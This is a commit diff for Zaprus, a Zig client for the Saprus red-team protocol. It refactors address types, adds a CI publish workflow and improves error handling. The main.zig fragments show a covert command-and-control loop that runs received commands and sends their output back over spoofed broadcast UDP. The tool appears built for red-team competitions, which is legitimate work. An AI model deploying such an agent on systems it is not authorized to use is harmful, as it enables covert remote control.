refactor: use packed struct for IpAddr

This is more intuitive than using u32 directly, and follows the same pattern as the new MAC addr handling

.tangled/workflows/build.yml

@@ -0,0 +1,26 @@
+when:
+  - event: ["push", "pull_request", "manual"]
+    branch: ["dev", "master"]
+    tag: ["v*"]
+
+engine: "nixery"
+
+dependencies:
+  nixpkgs:
+    - rclone
+  git+https://github.com/mitchellh/zig-overlay:
+    - master
+
+steps:
+  - name: "Build"
+    command: "zig build -Doptimize=ReleaseSmall -Dcpu=baseline"
+  - name: "Publish"
+    command: |
+      rclone sync ./zig-out \
+        --webdav-url "$RELEASE_NEXTCLOUD_HOST/remote.php/dav/files/$RELEASE_NEXTCLOUD_USER/" \
+        --webdav-user "$RELEASE_NEXTCLOUD_USER" \
+        --webdav-pass "$RELEASE_NEXTCLOUD_PASS" \
+        --webdav-vendor nextcloud \
+        :webdav:"zaprus/zaprus-$TANGLED_REF_NAME" \
+        -q
+

README.md

@@ -3,4 +3,9 @@
 This is an implementation of the [Saprus protocol](https://gitlab.com/c2-games/red-team/saprus) in Zig.
 It is useful for developing clients either in Zig, or in any other language using the C bindings.
 
-Binary releases can be downloaded [here](https://cloud.zambito.xyz/s/cNaLeDz38W5ZcZs).
+Binary releases can be downloaded [here](https://cloud.zambito.xyz/s/7jJPTm68Zp3mN8F).
+
+The code for this can be found here:
+
+- https://tangled.org/zambyte.robbyzambito.me/zaprus
+- https://git.robbyzambito.me/zaprus

build.zig

@@ -7,6 +7,9 @@ const std = @import("std");
 // build runner to parallelize the build automatically (and the cache system to
 // know when a step doesn't need to be re-run).
 pub fn build(b: *std.Build) void {
+    // Ensure the license is included in the output directory
+    b.installFile("LICENSE.md", "LICENSE.md");
+    b.installFile("README.md", "README.md");
     // Standard target options allow the person running `zig build` to choose
     // what target to build for. Here we do not override the defaults, which
     // means any target is allowed, and the default is native. Other options

build.zig.zon

@@ -10,7 +10,7 @@
 
     // This is a [Semantic Version](https://semver.org/).
     // In a future version of Zig it will be used for package deduplication.
-    .version = "0.1.0",
+    .version = "0.0.0",
 
     // Together with name, this represents a globally unique package
     // identifier. This field is generated by the Zig toolchain when the

src/Client.zig

@@ -46,11 +46,11 @@ pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void
     const rand = io_source.interface();
 
     var headers: EthIpUdp = .{
-        .src_mac = self.socket.mac,
+        .src_mac = .fromBytes(self.socket.mac),
         .ip = .{
             .id = rand.int(u16),
-            .src_addr = 0, //rand.int(u32),
-            .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
+            .src_addr = .fromBytes(.{ 0, 0, 0, 0 }), //rand.int(u32),
+            .dst_addr = .fromBytes(.{ 255, 255, 255, 255 }),
             .len = undefined,
         },
         .udp = .{
@@ -86,11 +86,11 @@ pub fn connect(self: Client, io: Io, payload: []const u8) (error{ BpfAttachFaile
     const rand = io_source.interface();
 
     var headers: EthIpUdp = .{
-        .src_mac = self.socket.mac,
+        .src_mac = .fromBytes(self.socket.mac),
         .ip = .{
             .id = rand.int(u16),
-            .src_addr = 0, //rand.int(u32),
-            .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
+            .src_addr = .fromBytes(.{ 0, 0, 0, 0 }), //rand.int(u32),
+            .dst_addr = .fromBytes(.{ 255, 255, 255, 255 }),
             .len = undefined,
         },
         .udp = .{

src/EthIpUdp.zig

@@ -14,6 +14,28 @@
 // You should have received a copy of the GNU General Public License along with
 // Zaprus. If not, see <https://www.gnu.org/licenses/>.
 
+pub const IpAddr = packed struct {
+    int: I,
+
+    const V = @Vector(4, u8);
+    const I = u32;
+
+    pub fn fromBytes(s: V) IpAddr {
+        return .{ .int = @bitCast(s) };
+    }
+};
+
+pub const MacAddr = packed struct {
+    int: I,
+
+    const V = @Vector(6, u8);
+    const I = @Int(.unsigned, @bitSizeOf(V));
+
+    pub fn fromBytes(s: V) MacAddr {
+        return .{ .int = @bitCast(s) };
+    }
+};
+
 pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336
     // --- UDP (Last in memory, defined first for LSB->MSB) ---
     udp: packed struct {
@@ -25,8 +47,8 @@ pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336
 
     // --- IP ---
     ip: packed struct {
-        dst_addr: u32,
-        src_addr: u32,
+        dst_addr: IpAddr,
+        src_addr: IpAddr,
         header_checksum: u16 = 0,
         protocol: u8 = 17, // udp
         ttl: u8 = 0x40,
@@ -53,8 +75,8 @@ pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336
 
     // --- Ethernet ---
     eth_type: u16 = std.os.linux.ETH.P.IP,
-    src_mac: @Vector(6, u8),
-    dst_mac: @Vector(6, u8) = @splat(0xff),
+    src_mac: MacAddr,
+    dst_mac: MacAddr = .fromBytes(@splat(0xff)),
 
     pub fn toBytes(self: @This()) [336 / 8]u8 {
         var res: [336 / 8]u8 = undefined;

src/RawSocket.zig

@@ -100,7 +100,7 @@ pub fn init() error{
     };
 }
 
-pub fn setTimeout(self: *RawSocket, sec: isize, usec: i64) !void {
+pub fn setTimeout(self: *RawSocket, sec: isize, usec: i64) error{SetTimeoutError}!void {
     const timeout: std.os.linux.timeval = .{ .sec = sec, .usec = usec };
     const timeout_ret = std.os.linux.setsockopt(self.fd, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout)));
     if (timeout_ret != 0) return error.SetTimeoutError;

src/main.zig

@@ -146,28 +146,54 @@ pub fn main(init: std.process.Init) !void {
 
     if (flags.connect != null) {
         reconnect: while (true) {
-            client = try .init();
+            client = SaprusClient.init() catch |err| switch (err) {
+                error.NoInterfaceFound => {
+                    init.io.sleep(.fromMilliseconds(100), .boot) catch unreachable;
+                    continue :reconnect;
+                },
+                else => |e| return e,
+            };
             defer client.deinit();
             log.debug("Starting connection", .{});
 
-            try client.socket.setTimeout(if (is_debug) 3 else 25, 0);
+            client.socket.setTimeout(if (is_debug) 3 else 25, 0) catch {
+                log.err("Unable to set timeout", .{});
+                init.io.sleep(.fromMilliseconds(100), .boot) catch unreachable;
+                continue :reconnect;
+            };
             var connection = client.connect(init.io, w.buffered()) catch {
                 log.debug("Connection timed out", .{});
-                continue;
+                continue :reconnect;
             };
 
             log.debug("Connection started", .{});
 
             next_message: while (true) {
                 var res_buf: [2048]u8 = undefined;
-                try client.socket.setTimeout(if (is_debug) 60 else 600, 0);
+                client.socket.setTimeout(if (is_debug) 60 else 600, 0) catch {
+                    log.err("Unable to set timeout", .{});
+                    init.io.sleep(.fromMilliseconds(100), .boot) catch unreachable;
+                    continue :reconnect;
+                };
                 const next = connection.next(init.io, &res_buf) catch {
                     continue :reconnect;
                 };
 
                 const b64d = std.base64.standard.Decoder;
                 var connection_payload_buf: [2048]u8 = undefined;
-                const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
+                const connection_payload = blk: {
+                    const size = b64d.calcSizeForSlice(next) catch |err| switch (err) {
+                        error.InvalidCharacter, error.InvalidPadding => {
+                            log.warn("Invalid base64 message received, ignoring: '{s}'", .{next});
+                            continue :next_message;
+                        },
+                        error.NoSpaceLeft => {
+                            log.warn("No space left when decoding base64 string, ignoring.", .{});
+                            continue :next_message;
+                        },
+                    };
+                    break :blk connection_payload_buf[0..size];
+                };
                 b64d.decode(connection_payload, next) catch {
                     log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload});
                     continue;
@@ -215,7 +241,7 @@ pub fn main(init: std.process.Init) !void {
 
                 var is_killed: std.atomic.Value(bool) = .init(false);
 
-                var kill_task = try init.io.concurrent(killProcessAfter, .{ init.io, &child, .fromSeconds(3), &is_killed });
+                var kill_task = init.io.concurrent(killProcessAfter, .{ init.io, &child, .fromSeconds(3), &is_killed }) catch unreachable;
                 defer _ = kill_task.cancel(init.io) catch {};
 
                 var cmd_output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
@@ -238,12 +264,41 @@ pub fn main(init: std.process.Init) !void {
                             break;
                         },
                     };
-                    cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable;
+                    const child_output_chunk = child_output_reader.interface.takeArray(child_output_buf.len) catch |err| switch (err) {
+                        error.EndOfStream => {
+                            log.warn("Reached end of stream when reading from the child process. Maybe this should be handled more gracefull, but ignoring for now.", .{});
+                            continue :next_message;
+                        },
+                        error.ReadFailed => if (child_output_reader.err) |co_err| switch (co_err) {
+                            error.AccessDenied,
+                            error.ConnectionResetByPeer,
+                            error.InputOutput,
+                            error.IsDir,
+                            error.LockViolation,
+                            error.NotOpenForReading,
+                            error.SocketUnconnected,
+                            error.SystemResources,
+                            error.WouldBlock,
+                            => |e| {
+                                log.err("Unending error reading output from child process: {t}", .{e});
+                                continue :next_message;
+                            },
+                            error.Canceled => |e| return e,
+                            error.Unexpected => {
+                                log.err("Unexpected error reading output from child process.", .{});
+                                continue :next_message;
+                            },
+                        } else {
+                            log.err("Shouldn't get here :(", .{});
+                            continue :next_message;
+                        },
+                    };
+                    cmd_output.print("{b64}", .{child_output_chunk}) catch unreachable;
                     connection.send(init.io, .{}, cmd_output.buffered()) catch |err| {
                         log.debug("Failed to send connection chunk: {t}", .{err});
                         continue :next_message;
                     };
-                    try init.io.sleep(.fromMilliseconds(40), .boot);
+                    init.io.sleep(.fromMilliseconds(40), .boot) catch unreachable;
                 } else {
                     kill_task.cancel(init.io) catch {};
                     killProcessAfter(init.io, &child, .zero, &is_killed) catch |err| {